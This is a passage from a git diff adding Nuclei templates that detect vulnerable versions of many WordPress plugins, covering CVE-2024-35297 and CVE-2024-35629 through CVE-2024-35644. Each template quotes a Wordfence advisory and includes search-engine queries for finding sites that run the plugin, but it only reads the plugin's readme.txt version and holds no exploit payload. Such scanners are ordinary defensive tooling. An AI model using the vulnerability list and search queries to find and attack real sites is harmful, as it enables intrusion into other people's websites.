a/poc/cve/CVE-2024-35297-5b9f6a55a11468cf4b95b149858e2fea.yaml b/poc/cve/CVE-2024-35297-5b9f6a55a11468cf4b95b149858e2fea.yaml new file mode 100644 index 0000000000..4095b8c6bc --- /dev/null +++ b/poc/cve/CVE-2024-35297-5b9f6a55a11468cf4b95b149858e2fea.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35297-5b9f6a55a11468cf4b95b149858e2fea + +info: + name: > + WP Booking <= 2.4.4 - Authenticated Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The WP Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/b6bbd7bd-e787-41aa-a4b2-004eaba07f50?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-35297 + metadata: + fofa-query: "wp-content/plugins/wp-easy-booking/" + google-query: inurl:"/wp-content/plugins/wp-easy-booking/" + shodan-query: 'vuln:CVE-2024-35297' + tags: cve,wordpress,wp-plugin,wp-easy-booking,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-easy-booking/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-easy-booking" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.4.4') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35629.yaml b/poc/cve/CVE-2024-35629.yaml new file mode 100644 index 0000000000..17f44b3854 --- /dev/null +++ b/poc/cve/CVE-2024-35629.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35629 + +info: + name: > + Easy Digital Downloads – Recent Purchases <= 1.0.2 - Unauthenticated Remote File Inclusion + author: topscoder + severity: critical + description: > + The Easy Digital Downloads – Recent Purchases plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 1.0.2. This makes it possible for unauthenticated attackers to include and execute arbitrary files hosted on external server,s allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution. This can only be exploited when allow_url_include is enabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/3e44b1e6-7342-4788-af80-aac6319f5246?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-35629 + metadata: + fofa-query: "wp-content/plugins/edd-recent-purchases/" + google-query: inurl:"/wp-content/plugins/edd-recent-purchases/" + shodan-query: 'vuln:CVE-2024-35629' + tags: cve,wordpress,wp-plugin,edd-recent-purchases,critical + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/edd-recent-purchases/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "edd-recent-purchases" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35630.yaml b/poc/cve/CVE-2024-35630.yaml new file mode 100644 index 0000000000..6c3c5130f6 --- /dev/null +++ b/poc/cve/CVE-2024-35630.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35630 + +info: + name: > + WP TripAdvisor Review Slider <= 12.6 - Authenticated (Administrator+) SQL Injection + author: topscoder + severity: low + description: > + The WP TripAdvisor Review Slider plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 12.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/d65eeb25-8c94-44e9-976d-db5d42e2d06e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H + cvss-score: 9.1 + cve-id: CVE-2024-35630 + metadata: + fofa-query: "wp-content/plugins/wp-tripadvisor-review-slider/" + google-query: inurl:"/wp-content/plugins/wp-tripadvisor-review-slider/" + shodan-query: 'vuln:CVE-2024-35630' + tags: cve,wordpress,wp-plugin,wp-tripadvisor-review-slider,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-tripadvisor-review-slider/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-tripadvisor-review-slider" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 12.6') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35631.yaml b/poc/cve/CVE-2024-35631.yaml new file mode 100644 index 0000000000..4835dd90c0 --- /dev/null +++ b/poc/cve/CVE-2024-35631.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35631 + +info: + name: > + FV Flowplayer Video Player <= 7.5.45.7212 - Reflected Cross-Site Scripting + author: topscoder + severity: medium + description: > + The FV Flowplayer Video Player plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 7.5.45.7212 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/81ac0ec4-8476-4ed5-9b00-a0456afef191?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-35631 + metadata: + fofa-query: "wp-content/plugins/fv-wordpress-flowplayer/" + google-query: inurl:"/wp-content/plugins/fv-wordpress-flowplayer/" + shodan-query: 'vuln:CVE-2024-35631' + tags: cve,wordpress,wp-plugin,fv-wordpress-flowplayer,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/fv-wordpress-flowplayer/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "fv-wordpress-flowplayer" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 7.5.45.7212') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35632.yaml b/poc/cve/CVE-2024-35632.yaml new file mode 100644 index 0000000000..631b9ca94c --- /dev/null +++ b/poc/cve/CVE-2024-35632.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35632 + +info: + name: > + Integration for Contact Form 7 and Constant Contact <= 1.1.5 - Cross-Site Request Forgery + author: topscoder + severity: medium + description: > + The Integration for Contact Form 7 and Constant Contact plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.5. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/712b0976-09a5-41d6-8f96-79006a8d41ba?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-35632 + metadata: + fofa-query: "wp-content/plugins/cf7-constant-contact/" + google-query: inurl:"/wp-content/plugins/cf7-constant-contact/" + shodan-query: 'vuln:CVE-2024-35632' + tags: cve,wordpress,wp-plugin,cf7-constant-contact,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/cf7-constant-contact/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "cf7-constant-contact" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.5') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35633.yaml b/poc/cve/CVE-2024-35633.yaml new file mode 100644 index 0000000000..81fc541b00 --- /dev/null +++ b/poc/cve/CVE-2024-35633.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35633 + +info: + name: > + Blocksy Companion <= 2.0.42 - Authenticated (Admin+) Server-Side Request Forgery + author: topscoder + severity: low + description: > + The Blocksy Companion plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.42. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a4a885e0-84fb-4f5a-8ef5-6a0a8108d26f?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 5.5 + cve-id: CVE-2024-35633 + metadata: + fofa-query: "wp-content/plugins/blocksy-companion/" + google-query: inurl:"/wp-content/plugins/blocksy-companion/" + shodan-query: 'vuln:CVE-2024-35633' + tags: cve,wordpress,wp-plugin,blocksy-companion,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/blocksy-companion/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "blocksy-companion" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.42') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35634.yaml b/poc/cve/CVE-2024-35634.yaml new file mode 100644 index 0000000000..76db3dc1cc --- /dev/null +++ b/poc/cve/CVE-2024-35634.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35634 + +info: + name: > + Woocommerce – Recent Purchases <= 1.0.1 - Authenticated (Admin+) Local File Inclusion + author: topscoder + severity: low + description: > + The Woocommerce – Recent Purchases plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Administrator-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/365b90dc-b9a1-4e04-9546-860f057f29f8?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2024-35634 + metadata: + fofa-query: "wp-content/plugins/woo-recent-purchases/" + google-query: inurl:"/wp-content/plugins/woo-recent-purchases/" + shodan-query: 'vuln:CVE-2024-35634' + tags: cve,wordpress,wp-plugin,woo-recent-purchases,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/woo-recent-purchases/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "woo-recent-purchases" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35635.yaml b/poc/cve/CVE-2024-35635.yaml new file mode 100644 index 0000000000..ede5869bc2 --- /dev/null +++ b/poc/cve/CVE-2024-35635.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35635 + +info: + name: > + Ninja Tables – Easiest Data Table Builder <= 5.0.9 - Authenticated (Admin+) Server-Side Request Forgery + author: topscoder + severity: low + description: > + The Ninja Tables – Easiest Data Table Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.9. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/404fab1b-45e9-470a-a0ae-73c01386d95e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 5.5 + cve-id: CVE-2024-35635 + metadata: + fofa-query: "wp-content/plugins/ninja-tables/" + google-query: inurl:"/wp-content/plugins/ninja-tables/" + shodan-query: 'vuln:CVE-2024-35635' + tags: cve,wordpress,wp-plugin,ninja-tables,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/ninja-tables/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ninja-tables" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.0.9') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35636.yaml b/poc/cve/CVE-2024-35636.yaml new file mode 100644 index 0000000000..d0d507f1e6 --- /dev/null +++ b/poc/cve/CVE-2024-35636.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35636 + +info: + name: > + Uploadcare File Uploader and Adaptive Delivery (beta) <= 3.0.11 - Cross-Site Request Forgery + author: topscoder + severity: medium + description: > + The Uploadcare File Uploader and Adaptive Delivery (beta) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.11. This is due to missing or incorrect nonce validation on an unknown function. This makes it possible for unauthenticated attackers to perform an unknown action granted they can trick a site administrator into performing an action such as clicking on a link. The impact of this vulnerability is unknown. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/80b02df4-9003-44bc-8d6e-695b2cd87bc0?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-35636 + metadata: + fofa-query: "wp-content/plugins/uploadcare/" + google-query: inurl:"/wp-content/plugins/uploadcare/" + shodan-query: 'vuln:CVE-2024-35636' + tags: cve,wordpress,wp-plugin,uploadcare,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/uploadcare/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "uploadcare" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.0.11') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35637.yaml b/poc/cve/CVE-2024-35637.yaml new file mode 100644 index 0000000000..ab227f666e --- /dev/null +++ b/poc/cve/CVE-2024-35637.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35637 + +info: + name: > + Church Admin <= 4.3.6 - Authenticated (Admin+) Server-Side Request Forgery + author: topscoder + severity: low + description: > + The Church Admin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.3.6. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f477761d-3fad-4d35-8d41-d1710ec090f7?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 5.5 + cve-id: CVE-2024-35637 + metadata: + fofa-query: "wp-content/plugins/church-admin/" + google-query: inurl:"/wp-content/plugins/church-admin/" + shodan-query: 'vuln:CVE-2024-35637' + tags: cve,wordpress,wp-plugin,church-admin,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/church-admin/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "church-admin" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.3.6') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35638.yaml b/poc/cve/CVE-2024-35638.yaml new file mode 100644 index 0000000000..df112ece1d --- /dev/null +++ b/poc/cve/CVE-2024-35638.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35638 + +info: + name: > + ActiveDEMAND <= 0.2.43 - Cross-Site Request Forgery + author: topscoder + severity: medium + description: > + The ActiveDEMAND plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.2.43. This is due to missing or incorrect nonce validation on an unknown function. This makes it possible for unauthenticated attackers to perform an unknown action granted they can trick a site administrator into performing an action such as clicking on a link. The impact of this vulnerability is unknown. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac877f4f-d99c-4cd0-b438-916255a11b8a?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-35638 + metadata: + fofa-query: "wp-content/plugins/activedemand/" + google-query: inurl:"/wp-content/plugins/activedemand/" + shodan-query: 'vuln:CVE-2024-35638' + tags: cve,wordpress,wp-plugin,activedemand,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/activedemand/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "activedemand" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 0.2.43') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35639.yaml b/poc/cve/CVE-2024-35639.yaml new file mode 100644 index 0000000000..a38a7fd9d4 --- /dev/null +++ b/poc/cve/CVE-2024-35639.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35639 + +info: + name: > + Simple Spoiler <= 1.2 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Simple Spoiler plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/6fc15a59-e555-450b-836e-5c3d52451b12?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35639 + metadata: + fofa-query: "wp-content/plugins/simple-spoiler/" + google-query: inurl:"/wp-content/plugins/simple-spoiler/" + shodan-query: 'vuln:CVE-2024-35639' + tags: cve,wordpress,wp-plugin,simple-spoiler,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/simple-spoiler/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "simple-spoiler" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35640.yaml b/poc/cve/CVE-2024-35640.yaml new file mode 100644 index 0000000000..8d293ff080 --- /dev/null +++ b/poc/cve/CVE-2024-35640.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35640 + +info: + name: > + Safety Exit <= 1.7.0 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Safety Exit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/8ffde2ce-2857-473f-8956-ddce81001070?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35640 + metadata: + fofa-query: "wp-content/plugins/safety-exit/" + google-query: inurl:"/wp-content/plugins/safety-exit/" + shodan-query: 'vuln:CVE-2024-35640' + tags: cve,wordpress,wp-plugin,safety-exit,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/safety-exit/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "safety-exit" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.7.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35641.yaml b/poc/cve/CVE-2024-35641.yaml new file mode 100644 index 0000000000..dbf6140c43 --- /dev/null +++ b/poc/cve/CVE-2024-35641.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35641 + +info: + name: > + Just Writing Statistics <= 4.5 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Just Writing Statistics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/fd7415b1-846f-41ad-a19f-73d0cee3965f?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35641 + metadata: + fofa-query: "wp-content/plugins/just-writing-statistics/" + google-query: inurl:"/wp-content/plugins/just-writing-statistics/" + shodan-query: 'vuln:CVE-2024-35641' + tags: cve,wordpress,wp-plugin,just-writing-statistics,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/just-writing-statistics/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "just-writing-statistics" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.5') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35642.yaml b/poc/cve/CVE-2024-35642.yaml new file mode 100644 index 0000000000..063a846abc --- /dev/null +++ b/poc/cve/CVE-2024-35642.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35642 + +info: + name: > + Site Favicon <= 0.2 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Site Favicon plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/0008b460-0c28-4e72-9c87-eda91989e39a?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35642 + metadata: + fofa-query: "wp-content/plugins/site-favicon/" + google-query: inurl:"/wp-content/plugins/site-favicon/" + shodan-query: 'vuln:CVE-2024-35642' + tags: cve,wordpress,wp-plugin,site-favicon,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/site-favicon/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "site-favicon" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 0.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35643.yaml b/poc/cve/CVE-2024-35643.yaml new file mode 100644 index 0000000000..538f8a4f21 --- /dev/null +++ b/poc/cve/CVE-2024-35643.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35643 + +info: + name: > + WP Back Button <= 1.1.3 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The WP Back Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/575743cc-6399-4f1d-893c-3fb9d4a98738?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35643 + metadata: + fofa-query: "wp-content/plugins/wp-back-button/" + google-query: inurl:"/wp-content/plugins/wp-back-button/" + shodan-query: 'vuln:CVE-2024-35643' + tags: cve,wordpress,wp-plugin,wp-back-button,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-back-button/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-back-button" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.3') \ No newline at end of file diff --git a/poc/cve/CVE-2024-35644.yaml b/poc/cve/CVE-2024-35644.yaml new file mode 100644 index 0000000000..ee2b9d7e38 --- /dev/null +++ b/poc/cve/CVE-2024-35644.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-35644 + +info: + name: > + Preferred Languages <= 2.2.2 - Authenticated (Administrator+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Preferred Languages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/8f1866d6-79ac-444c-ab73-eab081786c93?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-35644 + metadata: + fofa-query: "wp-content/plugins/preferred-languages/" + google-query: inurl:"/wp-content/plugins/preferred-languages/" + shodan-query: 